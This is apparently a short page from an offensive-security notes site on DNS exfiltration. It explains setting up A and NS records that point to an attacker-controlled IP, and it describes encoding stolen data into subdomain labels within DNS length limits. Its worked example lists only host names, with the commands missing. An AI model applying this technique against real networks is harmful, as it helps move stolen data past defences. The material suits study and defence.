githubEdit

DNS Exfil

Requirements: Control a domain and set up DNS Records (NS,A,TXT,etc)

1) Add an A record that points to attacker IP (Type:A, Subdomain Name:tlns, Value:ATTACKER_IP)

2) Add an NS record that routes DNS queries to the A records in step 1 (Type:NS, Subdomain name:tl, Value:tlns.example.com)

Manual Exfil

1) Get the required data that needs to be transferred

2) Encode the file using one of the encoding techniques

3) Send the encoded characters as subdomains/labels

4) Consider the limitations of the DNS protocol.

Note that we can add as much data as we can to the domain name, but we must keep the whole URL under 255 characters and each subdomain label CAN'T exceed 63 characters.

If we do exceed these limits, we split the data and send more DNS requests!

Example:

1) Jumpbox:

2) Attacker:

3) Jumpbox:

4) Victim2:

5)

6)

7)

8)

9) Attacker:

Last updated